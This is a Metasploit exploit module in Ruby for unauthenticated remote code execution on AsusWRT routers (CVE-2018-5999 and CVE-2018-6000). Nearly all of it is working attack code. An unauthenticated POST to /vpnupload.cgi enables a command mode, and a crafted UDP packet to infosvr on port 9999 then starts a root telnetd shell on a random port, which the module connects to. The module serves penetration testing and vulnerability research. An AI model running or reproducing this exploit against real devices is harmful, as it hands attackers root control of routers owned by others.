1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution', 'Description'=> %q{ The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a POST in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the POST request to enable a special command mode. This command mode can then be abused by sending a UDP packet to infosvr, which is running on port UDP 9999 to directly execute commands as root. This exploit leverages that to start telnetd in a random port, and then connects to it. It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743. }, 'Author' => [ 'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'], ['CVE', '2018-5999'], ['CVE', '2018-6000'] ], 'Targets'=> [ [ 'AsusWRT < v3.0.0.4.384.10007', { 'Payload'=> { 'Compat'=> { 'PayloadType'=> 'cmd_interact', 'ConnectionType' => 'find', }, }, } ], ], 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DisclosureDate'=> 'Jan 22 2018', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9999) ]) register_advanced_options( [ OptInt.new('ASUSWRTPORT', [true,'AsusWRT HTTP portal port', 80]) ]) end def exploit # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting! post_data = Rex::MIME::Message.new post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"") data = post_data.to_s res = send_request_cgi({ 'uri'=> "/vpnupload.cgi", 'method' => 'POST', 'rport'=> datastore['ASUSWRTPORT'], 'data' => data, 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}" }) if res and res.code == 200 print_good("#{peer} - Successfully set the ateCommand_flag variable.") else fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.") end # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above. info_pdu_size = 512 # expected packet size, not sure what the extra bytes are r = Random.new ibox_comm_pkt_hdr_ex= [0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO0xC [0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15 [0x33,0x00].pack('C*') +# NET_CMD_ID_MANU_CMD 0x33 r.bytes(4) +# Info, don't know what this is r.bytes(6) +# MAC address r.bytes(32) # Password telnet_port = rand((2**16)-1024)+1024 cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*') pkt_syscmd = [cmd.length,0x00].pack('C*') +# cmd length cmd # our command pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length) connect_udp udp_sock.put(pkt_final) # we could process the response, but we don't care disconnect_udp print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}") sleep(10) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 }) if not sock.nil? print_good("#{peer} - Success, shell incoming!") return handler(sock) end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e sock.close if sock end print_bad("#{peer} - Well that didn't work... try again?") end end |